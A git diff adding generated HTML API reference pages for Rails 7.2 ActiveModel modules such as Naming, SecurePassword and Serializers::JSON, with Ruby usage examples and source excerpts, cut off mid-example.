diff --git a/src/7.2/classes/ActiveModel/Model.html b/src/7.2/classes/ActiveModel/Model.html new file mode 100644 index 0000000000..a0d15b874e --- /dev/null +++ b/src/7.2/classes/ActiveModel/Model.html @@ -0,0 +1,180 @@ +--- +title: ActiveModel::Model +layout: default +--- +
+ +
+
+ +
+ +

Active Model Basic Model

+ +

Allows implementing models similar to ActiveRecord::Base. Includes ActiveModel::API for the required interface for an object to interact with Action Pack and Action View, but can be extended with other functionalities.

+ +

A minimal implementation could be:

+ +
class Person
+  include ActiveModel::Model
+  attr_accessor :name, :age
+end
+
+person = Person.new(name: 'bob', age: '18')
+person.name # => "bob"
+person.age  # => "18"
+
+ +

If for some reason you need to run code on initialize, make sure you call super if you want the attributes hash initialization to happen.

+ +
class Person
+  include ActiveModel::Model
+  attr_accessor :id, :name, :omg
+
+  def initialize(attributes={})
+    super
+    @omg ||= true
+  end
+end
+
+person = Person.new(id: 1, name: 'bob')
+person.omg # => true
+
+ +

For more detailed information on other functionalities available, please refer to the specific modules included in ActiveModel::Model (see below).

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + slice(*methods) + + +

+ + +
+

Returns a hash of the given methods with their names as keys and returned values as values.

+ +
person = Person.new(id: 1, name: "bob")
+person.slice(:id, :name)
+=> { "id" => 1, "name" => "bob" }
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + values_at(*methods) + + +

+ + +
+

Returns an array of the values returned by the given methods.

+ +
person = Person.new(id: 1, name: "bob")
+person.values_at(:id, :name)
+=> [1, "bob"]
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Name.html b/src/7.2/classes/ActiveModel/Name.html new file mode 100644 index 0000000000..3ec54329d4 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Name.html @@ -0,0 +1,657 @@ +--- +title: ActiveModel::Name +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+
    + +
  • + + Comparable + +
  • + +
+ + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [RW] + cache_key
+ [RW] + collection
+ [RW] + element
+ [RW] + i18n_key
+ [RW] + name
+ [RW] + param_key
+ [RW] + plural
+ [RW] + route_key
+ [RW] + singular
+ [RW] + singular_route_key
+ + + + +

Class Public methods

+ +
+

+ + new(klass, namespace = nil, name = nil, locale = :en) + +

+ + +
+

Returns a new ActiveModel::Name instance. By default, the namespace and name option will take the namespace and name of the given class respectively. Use locale argument for singularize and pluralize model name.

+ +
module Foo
+  class Bar
+  end
+end
+
+ActiveModel::Name.new(Foo::Bar).to_s
+# => "Foo::Bar"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/naming.rb, line 166
+    def initialize(klass, namespace = nil, name = nil, locale = :en)
+      @name = name || klass.name
+
+      raise ArgumentError, "Class name cannot be blank. You need to supply a name argument when anonymous class given" if @name.blank?
+
+      @unnamespaced = @name.delete_prefix("#{namespace.name}::") if namespace
+      @klass        = klass
+      @singular     = _singularize(@name)
+      @plural       = ActiveSupport::Inflector.pluralize(@singular, locale)
+      @uncountable  = @plural == @singular
+      @element      = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(@name))
+      @human        = ActiveSupport::Inflector.humanize(@element)
+      @collection   = ActiveSupport::Inflector.tableize(@name)
+      @param_key    = (namespace ? _singularize(@unnamespaced) : @singular)
+      @i18n_key     = @name.underscore.to_sym
+
+      @route_key          = (namespace ? ActiveSupport::Inflector.pluralize(@param_key, locale) : @plural.dup)
+      @singular_route_key = ActiveSupport::Inflector.singularize(@route_key, locale)
+      @route_key << "_index" if @uncountable
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + !~(regexp) + + +

+ + +
+

Equivalent to String#!~. Match the class name against the given regexp. Returns true if there is no match, otherwise false.

+ +
class BlogPost
+  extend ActiveModel::Naming
+end
+
+BlogPost.model_name !~ /Post/ # => false
+BlogPost.model_name !~ /\d/   # => true
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + <=>(other) + + +

+ + +
+

Equivalent to String#<=>.

+ +
class BlogPost
+  extend ActiveModel::Naming
+end
+
+BlogPost.model_name <=> 'BlogPost'  # => 0
+BlogPost.model_name <=> 'Blog'      # => 1
+BlogPost.model_name <=> 'BlogPosts' # => -1
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + ==(other) + + +

+ + +
+

Equivalent to String#==. Returns true if the class name and other are equal, otherwise false.

+ +
class BlogPost
+  extend ActiveModel::Naming
+end
+
+BlogPost.model_name == 'BlogPost'  # => true
+BlogPost.model_name == 'Blog Post' # => false
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + ===(other) + + +

+ + +
+

Equivalent to #==.

+ +
class BlogPost
+  extend ActiveModel::Naming
+end
+
+BlogPost.model_name === 'BlogPost'  # => true
+BlogPost.model_name === 'Blog Post' # => false
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + =~(regexp) + + +

+ + +
+

Equivalent to String#=~. Match the class name against the given regexp. Returns the position where the match starts or nil if there is no match.

+ +
class BlogPost
+  extend ActiveModel::Naming
+end
+
+BlogPost.model_name =~ /Post/ # => 4
+BlogPost.model_name =~ /\d/   # => nil
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + eql?(other) + + +

+ + +
+

Equivalent to String#eql?. Returns true if the class name and other have the same length and content, otherwise false.

+ +
class BlogPost
+  extend ActiveModel::Naming
+end
+
+BlogPost.model_name.eql?('BlogPost')  # => true
+BlogPost.model_name.eql?('Blog Post') # => false
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + human(options = {}) + +

+ + +
+

Transform the model name into a more human format, using I18n. By default, it will underscore then humanize the class name.

+ +
class BlogPost
+  extend ActiveModel::Naming
+end
+
+BlogPost.model_name.human # => "Blog post"
+
+ +

Specify options with additional translating options.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/naming.rb, line 197
+    def human(options = {})
+      return @human if i18n_keys.empty? || i18n_scope.empty?
+
+      key, *defaults = i18n_keys
+      defaults << options[:default] if options[:default]
+      defaults << MISSING_TRANSLATION
+
+      translation = I18n.translate(key, scope: i18n_scope, count: 1, **options, default: defaults)
+      translation = @human if translation == MISSING_TRANSLATION
+      translation
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + match?(regexp) + + +

+ + +
+

Equivalent to String#match?. Match the class name against the given regexp. Returns true if there is a match, otherwise false.

+ +
class BlogPost
+  extend ActiveModel::Naming
+end
+
+BlogPost.model_name.match?(/Post/) # => true
+BlogPost.model_name.match?(/\d/) # => false
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + to_s() + + +

+ + +
+

Returns the class name.

+ +
class BlogPost
+  extend ActiveModel::Naming
+end
+
+BlogPost.model_name.to_s # => "BlogPost"
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + to_str() + + +

+ + +
+

Equivalent to to_s.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/naming.rb, line 151
+    delegate :==, :===, :<=>, :=~, :"!~", :eql?, :match?, :to_s,
+             :to_str, :as_json, to: :name
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + uncountable?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/naming.rb, line 209
+    def uncountable?
+      @uncountable
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Naming.html b/src/7.2/classes/ActiveModel/Naming.html new file mode 100644 index 0000000000..85b74eabb4 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Naming.html @@ -0,0 +1,411 @@ +--- +title: ActiveModel::Naming +layout: default +--- +
+ +
+
+ +
+ +

Active Model Naming

+ +

Creates a model_name method on your object.

+ +

To implement, just extend ActiveModel::Naming in your object:

+ +
class BookCover
+  extend ActiveModel::Naming
+end
+
+BookCover.model_name.name   # => "BookCover"
+BookCover.model_name.human  # => "Book cover"
+
+BookCover.model_name.i18n_key              # => :book_cover
+BookModule::BookCover.model_name.i18n_key  # => :"book_module/book_cover"
+
+ +

Providing the functionality that ActiveModel::Naming provides in your object is required to pass the Active Model Lint test. So either extending the provided method below, or rolling your own is required.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + param_key(record_or_class) + +

+ + +
+

Returns string to use for params names. It differs for namespaced models regarding whether it’s inside isolated engine.

+ +
# For isolated engine:
+ActiveModel::Naming.param_key(Blog::Post) # => "post"
+
+# For shared engine:
+ActiveModel::Naming.param_key(Blog::Post) # => "blog_post"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/naming.rb, line 338
+    def self.param_key(record_or_class)
+      model_name_from_record_or_class(record_or_class).param_key
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + plural(record_or_class) + +

+ + +
+

Returns the plural class name of a record or class.

+ +
ActiveModel::Naming.plural(post)             # => "posts"
+ActiveModel::Naming.plural(Highrise::Person) # => "highrise_people"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/naming.rb, line 283
+    def self.plural(record_or_class)
+      model_name_from_record_or_class(record_or_class).plural
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + route_key(record_or_class) + +

+ + +
+

Returns string to use while generating route names. It differs for namespaced models regarding whether it’s inside isolated engine.

+ +
# For isolated engine:
+ActiveModel::Naming.route_key(Blog::Post) # => "posts"
+
+# For shared engine:
+ActiveModel::Naming.route_key(Blog::Post) # => "blog_posts"
+
+ +

The route key also considers if the noun is uncountable and, in such cases, automatically appends _index.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/naming.rb, line 326
+    def self.route_key(record_or_class)
+      model_name_from_record_or_class(record_or_class).route_key
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + singular(record_or_class) + +

+ + +
+

Returns the singular class name of a record or class.

+ +
ActiveModel::Naming.singular(post)             # => "post"
+ActiveModel::Naming.singular(Highrise::Person) # => "highrise_person"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/naming.rb, line 291
+    def self.singular(record_or_class)
+      model_name_from_record_or_class(record_or_class).singular
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + singular_route_key(record_or_class) + +

+ + +
+

Returns string to use while generating route names. It differs for namespaced models regarding whether it’s inside isolated engine.

+ +
# For isolated engine:
+ActiveModel::Naming.singular_route_key(Blog::Post) # => "post"
+
+# For shared engine:
+ActiveModel::Naming.singular_route_key(Blog::Post) # => "blog_post"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/naming.rb, line 311
+    def self.singular_route_key(record_or_class)
+      model_name_from_record_or_class(record_or_class).singular_route_key
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + uncountable?(record_or_class) + +

+ + +
+

Identifies whether the class name of a record or class is uncountable.

+ +
ActiveModel::Naming.uncountable?(Sheep) # => true
+ActiveModel::Naming.uncountable?(Post)  # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/naming.rb, line 299
+    def self.uncountable?(record_or_class)
+      model_name_from_record_or_class(record_or_class).uncountable?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + model_name() + +

+ + +
+

Returns an ActiveModel::Name object for module. It can be used to retrieve all kinds of naming-related information (See ActiveModel::Name for more information).

+ +
class Person
+  extend ActiveModel::Naming
+end
+
+Person.model_name.name     # => "Person"
+Person.model_name.class    # => ActiveModel::Name
+Person.model_name.singular # => "person"
+Person.model_name.plural   # => "people"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/naming.rb, line 270
+    def model_name
+      @_model_name ||= begin
+        namespace = module_parents.detect do |n|
+          n.respond_to?(:use_relative_model_naming?) && n.use_relative_model_naming?
+        end
+        ActiveModel::Name.new(self, namespace)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/NestedError.html b/src/7.2/classes/ActiveModel/NestedError.html new file mode 100644 index 0000000000..b704e730f5 --- /dev/null +++ b/src/7.2/classes/ActiveModel/NestedError.html @@ -0,0 +1,126 @@ +--- +title: ActiveModel::NestedError +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + inner_error
+ + + + +

Class Public methods

+ +
+

+ + new(base, inner_error, override_options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/nested_error.rb, line 8
+    def initialize(base, inner_error, override_options = {})
+      @base = base
+      @inner_error = inner_error
+      @attribute = override_options.fetch(:attribute) { inner_error.attribute }
+      @type = override_options.fetch(:type) { inner_error.type }
+      @raw_type = inner_error.raw_type
+      @options = inner_error.options
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/RangeError.html b/src/7.2/classes/ActiveModel/RangeError.html new file mode 100644 index 0000000000..2072d32409 --- /dev/null +++ b/src/7.2/classes/ActiveModel/RangeError.html @@ -0,0 +1,68 @@ +--- +title: ActiveModel::RangeError +layout: default +--- +
+ +
+
+ +
+ +

Active Model RangeError

+ +

Raised when attribute values are out of range.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/SecurePassword.html b/src/7.2/classes/ActiveModel/SecurePassword.html new file mode 100644 index 0000000000..e052af23ad --- /dev/null +++ b/src/7.2/classes/ActiveModel/SecurePassword.html @@ -0,0 +1,92 @@ +--- +title: ActiveModel::SecurePassword +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + +
MAX_PASSWORD_LENGTH_ALLOWED=72
 

BCrypt hash function can handle maximum 72 bytes, and if we pass password of length more than 72 bytes it ignores extra characters. Hence need to put a restriction on password length.

+ + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/SecurePassword/ClassMethods.html b/src/7.2/classes/ActiveModel/SecurePassword/ClassMethods.html new file mode 100644 index 0000000000..2f785e37da --- /dev/null +++ b/src/7.2/classes/ActiveModel/SecurePassword/ClassMethods.html @@ -0,0 +1,234 @@ +--- +title: ActiveModel::SecurePassword::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + has_secure_password(attribute = :password, validations: true) + +

+ + +
+

Adds methods to set and authenticate against a BCrypt password. This mechanism requires you to have a XXX_digest attribute, where XXX is the attribute name of your desired password.

+ +

The following validations are added automatically:

+
  • +

    Password must be present on creation

    +
  • +

    Password length should be less than or equal to 72 bytes

    +
  • +

    Confirmation of password (using a XXX_confirmation attribute)

    +
+ +

If confirmation validation is not needed, simply leave out the value for XXX_confirmation (i.e. don’t provide a form field for it). When this attribute has a nil value, the validation will not be triggered.

+ +

Additionally, a XXX_challenge attribute is created. When set to a value other than nil, it will validate against the currently persisted password. This validation relies on dirty tracking, as provided by ActiveModel::Dirty; if dirty tracking methods are not defined, this validation will fail.

+ +

All of the above validations can be omitted by passing validations: false as an argument. This allows complete customizability of validation behavior.

+ +

To use has_secure_password, add bcrypt (~> 3.1.7) to your Gemfile:

+ +
gem "bcrypt", "~> 3.1.7"
+
+ +

Examples

+ +
Using Active Record (which automatically includes ActiveModel::SecurePassword)
+ +
# Schema: User(name:string, password_digest:string, recovery_password_digest:string)
+class User < ActiveRecord::Base
+  has_secure_password
+  has_secure_password :recovery_password, validations: false
+end
+
+user = User.new(name: "david", password: "", password_confirmation: "nomatch")
+
+user.save                                                      # => false, password required
+user.password = "vr00m"
+user.save                                                      # => false, confirmation doesn't match
+user.password_confirmation = "vr00m"
+user.save                                                      # => true
+
+user.authenticate("notright")                                  # => false
+user.authenticate("vr00m")                                     # => user
+User.find_by(name: "david")&.authenticate("notright")          # => false
+User.find_by(name: "david")&.authenticate("vr00m")             # => user
+
+user.recovery_password = "42password"
+user.recovery_password_digest                                  # => "$2a$04$iOfhwahFymCs5weB3BNH/uXkTG65HR.qpW.bNhEjFP3ftli3o5DQC"
+user.save                                                      # => true
+
+user.authenticate_recovery_password("42password")              # => user
+
+user.update(password: "pwn3d", password_challenge: "")         # => false, challenge doesn't authenticate
+user.update(password: "nohack4u", password_challenge: "vr00m") # => true
+
+user.authenticate("vr00m")                                     # => false, old password
+user.authenticate("nohack4u")                                  # => user
+
+ +
Conditionally requiring a password
+ +
class Account
+  include ActiveModel::SecurePassword
+
+  attr_accessor :is_guest, :password_digest
+
+  has_secure_password
+
+  def errors
+    super.tap { |errors| errors.delete(:password, :blank) if is_guest }
+  end
+end
+
+account = Account.new
+account.valid? # => false, password required
+
+account.is_guest = true
+account.valid? # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/secure_password.rb, line 101
+      def has_secure_password(attribute = :password, validations: true)
+        # Load bcrypt gem only when has_secure_password is used.
+        # This is to avoid ActiveModel (and by extension the entire framework)
+        # being dependent on a binary library.
+        begin
+          require "bcrypt"
+        rescue LoadError
+          warn "You don't have bcrypt installed in your application. Please add it to your Gemfile and run bundle install."
+          raise
+        end
+
+        include InstanceMethodsOnActivation.new(attribute)
+
+        if validations
+          include ActiveModel::Validations
+
+          # This ensures the model has a password by checking whether the password_digest
+          # is present, so that this works with both new and existing records. However,
+          # when there is an error, the message is added to the password attribute instead
+          # so that the error message will make sense to the end-user.
+          validate do |record|
+            record.errors.add(attribute, :blank) unless record.public_send("#{attribute}_digest").present?
+          end
+
+          validate do |record|
+            if challenge = record.public_send(:"#{attribute}_challenge")
+              digest_was = record.public_send(:"#{attribute}_digest_was") if record.respond_to?(:"#{attribute}_digest_was")
+
+              unless digest_was.present? && BCrypt::Password.new(digest_was).is_password?(challenge)
+                record.errors.add(:"#{attribute}_challenge")
+              end
+            end
+          end
+
+          # Validates that the password does not exceed the maximum allowed bytes for BCrypt (72 bytes).
+          validate do |record|
+            password_value = record.public_send(attribute)
+            if password_value.present? && password_value.bytesize > ActiveModel::SecurePassword::MAX_PASSWORD_LENGTH_ALLOWED
+              record.errors.add(attribute, :password_too_long)
+            end
+          end
+
+          validates_confirmation_of attribute, allow_blank: true
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/SecurePassword/InstanceMethodsOnActivation.html b/src/7.2/classes/ActiveModel/SecurePassword/InstanceMethodsOnActivation.html new file mode 100644 index 0000000000..e6a16c08ff --- /dev/null +++ b/src/7.2/classes/ActiveModel/SecurePassword/InstanceMethodsOnActivation.html @@ -0,0 +1,143 @@ +--- +title: ActiveModel::SecurePassword::InstanceMethodsOnActivation +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(attribute) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/secure_password.rb, line 149
+      def initialize(attribute)
+        attr_reader attribute
+
+        define_method("#{attribute}=") do |unencrypted_password|
+          if unencrypted_password.nil?
+            instance_variable_set("@#{attribute}", nil)
+            self.public_send("#{attribute}_digest=", nil)
+          elsif !unencrypted_password.empty?
+            instance_variable_set("@#{attribute}", unencrypted_password)
+            cost = ActiveModel::SecurePassword.min_cost ? BCrypt::Engine::MIN_COST : BCrypt::Engine.cost
+            self.public_send("#{attribute}_digest=", BCrypt::Password.create(unencrypted_password, cost: cost))
+          end
+        end
+
+        attr_accessor :"#{attribute}_confirmation", :"#{attribute}_challenge"
+
+        # Returns +self+ if the password is correct, otherwise +false+.
+        #
+        #   class User < ActiveRecord::Base
+        #     has_secure_password validations: false
+        #   end
+        #
+        #   user = User.new(name: 'david', password: 'mUc3m00RsqyRe')
+        #   user.save
+        #   user.authenticate_password('notright')      # => false
+        #   user.authenticate_password('mUc3m00RsqyRe') # => user
+        define_method("authenticate_#{attribute}") do |unencrypted_password|
+          attribute_digest = public_send("#{attribute}_digest")
+          attribute_digest.present? && BCrypt::Password.new(attribute_digest).is_password?(unencrypted_password) && self
+        end
+
+        # Returns the salt, a small chunk of random data added to the password before it's hashed.
+        define_method("#{attribute}_salt") do
+          attribute_digest = public_send("#{attribute}_digest")
+          attribute_digest.present? ? BCrypt::Password.new(attribute_digest).salt : nil
+        end
+
+        alias_method :authenticate, :authenticate_password if attribute == :password
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Serialization.html b/src/7.2/classes/ActiveModel/Serialization.html new file mode 100644 index 0000000000..e0c7bc7b14 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Serialization.html @@ -0,0 +1,245 @@ +--- +title: ActiveModel::Serialization +layout: default +--- +
+ +
+
+ +
+ +

Active Model Serialization

+ +

Provides a basic serialization to a serializable_hash for your objects.

+ +

A minimal implementation could be:

+ +
class Person
+  include ActiveModel::Serialization
+
+  attr_accessor :name
+
+  def attributes
+    {'name' => nil}
+  end
+end
+
+ +

Which would provide you with:

+ +
person = Person.new
+person.serializable_hash   # => {"name"=>nil}
+person.name = "Bob"
+person.serializable_hash   # => {"name"=>"Bob"}
+
+ +

An attributes hash must be defined and should contain any attributes you need to be serialized. Attributes must be strings, not symbols. When called, serializable hash will use instance methods that match the name of the attributes hash’s keys. In order to override this behavior, take a look at the private method read_attribute_for_serialization.

+ +

ActiveModel::Serializers::JSON module automatically includes the ActiveModel::Serialization module, so there is no need to explicitly include ActiveModel::Serialization.

+ +

A minimal implementation including JSON would be:

+ +
class Person
+  include ActiveModel::Serializers::JSON
+
+  attr_accessor :name
+
+  def attributes
+    {'name' => nil}
+  end
+end
+
+ +

Which would provide you with:

+ +
person = Person.new
+person.serializable_hash   # => {"name"=>nil}
+person.as_json             # => {"name"=>nil}
+person.to_json             # => "{\"name\":null}"
+
+person.name = "Bob"
+person.serializable_hash   # => {"name"=>"Bob"}
+person.as_json             # => {"name"=>"Bob"}
+person.to_json             # => "{\"name\":\"Bob\"}"
+
+ +

Valid options are :only, :except, :methods and :include. The following are all valid examples:

+ +
person.serializable_hash(only: 'name')
+person.serializable_hash(include: :address)
+person.serializable_hash(include: { address: { only: 'city' }})
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + serializable_hash(options = nil) + +

+ + +
+

Returns a serialized hash of your object.

+ +
class Person
+  include ActiveModel::Serialization
+
+  attr_accessor :name, :age
+
+  def attributes
+    {'name' => nil, 'age' => nil}
+  end
+
+  def capitalized_name
+    name.capitalize
+  end
+end
+
+person = Person.new
+person.name = 'bob'
+person.age  = 22
+person.serializable_hash                # => {"name"=>"bob", "age"=>22}
+person.serializable_hash(only: :name)   # => {"name"=>"bob"}
+person.serializable_hash(except: :name) # => {"age"=>22}
+person.serializable_hash(methods: :capitalized_name)
+# => {"name"=>"bob", "age"=>22, "capitalized_name"=>"Bob"}
+
+ +

Example with :include option

+ +
class User
+  include ActiveModel::Serializers::JSON
+  attr_accessor :name, :notes # Emulate has_many :notes
+  def attributes
+    {'name' => nil}
+  end
+end
+
+class Note
+  include ActiveModel::Serializers::JSON
+  attr_accessor :title, :text
+  def attributes
+    {'title' => nil, 'text' => nil}
+  end
+end
+
+note = Note.new
+note.title = 'Battle of Austerlitz'
+note.text = 'Some text here'
+
+user = User.new
+user.name = 'Napoleon'
+user.notes = [note]
+
+user.serializable_hash
+# => {"name" => "Napoleon"}
+user.serializable_hash(include: { notes: { only: 'title' }})
+# => {"name" => "Napoleon", "notes" => [{"title"=>"Battle of Austerlitz"}]}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/serialization.rb, line 125
+    def serializable_hash(options = nil)
+      attribute_names = attribute_names_for_serialization
+
+      return serializable_attributes(attribute_names) if options.blank?
+
+      if only = options[:only]
+        attribute_names &= Array(only).map(&:to_s)
+      elsif except = options[:except]
+        attribute_names -= Array(except).map(&:to_s)
+      end
+
+      hash = serializable_attributes(attribute_names)
+
+      Array(options[:methods]).each { |m| hash[m.to_s] = send(m) }
+
+      serializable_add_includes(options) do |association, records, opts|
+        hash[association.to_s] = if records.respond_to?(:to_ary)
+          records.to_ary.map { |a| a.serializable_hash(opts) }
+        else
+          records.serializable_hash(opts)
+        end
+      end
+
+      hash
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Serializers.html b/src/7.2/classes/ActiveModel/Serializers.html new file mode 100644 index 0000000000..8f04269641 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Serializers.html @@ -0,0 +1,69 @@ +--- +title: ActiveModel::Serializers +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Serializers/JSON.html b/src/7.2/classes/ActiveModel/Serializers/JSON.html new file mode 100644 index 0000000000..d60f82535f --- /dev/null +++ b/src/7.2/classes/ActiveModel/Serializers/JSON.html @@ -0,0 +1,287 @@ +--- +title: ActiveModel::Serializers::JSON +layout: default +--- +
+ +
+
+ +
+ +

Active Model JSON Serializer

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + as_json(options = nil) + +

+ + +
+

Returns a hash representing the model. Some configuration can be passed through options.

+ +

The option include_root_in_json controls the top-level behavior of as_json. If true, as_json will emit a single root node named after the object’s type. The default value for include_root_in_json option is false.

+ +
user = User.find(1)
+user.as_json
+# => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+#     "created_at" => "2006-08-01T17:27:133.000Z", "awesome" => true}
+
+ActiveRecord::Base.include_root_in_json = true
+
+user.as_json
+# => { "user" => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+#                  "created_at" => "2006-08-01T17:27:13.000Z", "awesome" => true } }
+
+ +

This behavior can also be achieved by setting the :root option to true as in:

+ +
user = User.find(1)
+user.as_json(root: true)
+# => { "user" => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+#                  "created_at" => "2006-08-01T17:27:13.000Z", "awesome" => true } }
+
+ +

If you prefer, :root may also be set to a custom string key instead as in:

+ +
user = User.find(1)
+user.as_json(root: "author")
+# => { "author" => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+#                  "created_at" => "2006-08-01T17:27:13.000Z", "awesome" => true } }
+
+ +

Without any options, the returned Hash will include all the model’s attributes.

+ +
user = User.find(1)
+user.as_json
+# => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+#      "created_at" => "2006-08-01T17:27:13.000Z", "awesome" => true}
+
+ +

The :only and :except options can be used to limit the attributes included, and work similar to the attributes method.

+ +
user.as_json(only: [:id, :name])
+# => { "id" => 1, "name" => "Konata Izumi" }
+
+user.as_json(except: [:id, :created_at, :age])
+# => { "name" => "Konata Izumi", "awesome" => true }
+
+ +

To include the result of some method calls on the model use :methods:

+ +
user.as_json(methods: :permalink)
+# => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+#      "created_at" => "2006-08-01T17:27:13.000Z", "awesome" => true,
+#      "permalink" => "1-konata-izumi" }
+
+ +

To include associations use :include:

+ +
user.as_json(include: :posts)
+# => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+#      "created_at" => "2006-08-01T17:27:13.000Z", "awesome" => true,
+#      "posts" => [ { "id" => 1, "author_id" => 1, "title" => "Welcome to the weblog" },
+#                   { "id" => 2, "author_id" => 1, "title" => "So I was thinking" } ] }
+
+ +

Second level and higher order associations work as well:

+ +
user.as_json(include: { posts: {
+                           include: { comments: {
+                                          only: :body } },
+                           only: :title } })
+# => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+#      "created_at" => "2006-08-01T17:27:13.000Z", "awesome" => true,
+#      "posts" => [ { "comments" => [ { "body" => "1st post!" }, { "body" => "Second!" } ],
+#                     "title" => "Welcome to the weblog" },
+#                   { "comments" => [ { "body" => "Don't think too hard" } ],
+#                     "title" => "So I was thinking" } ] }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/serializers/json.rb, line 96
+      def as_json(options = nil)
+        root = if options && options.key?(:root)
+          options[:root]
+        else
+          include_root_in_json
+        end
+
+        hash = serializable_hash(options).as_json
+        if root
+          root = model_name.element if root == true
+          { root => hash }
+        else
+          hash
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + from_json(json, include_root = include_root_in_json) + +

+ + +
+

Sets the model attributes from a JSON string. Returns self.

+ +
class Person
+  include ActiveModel::Serializers::JSON
+
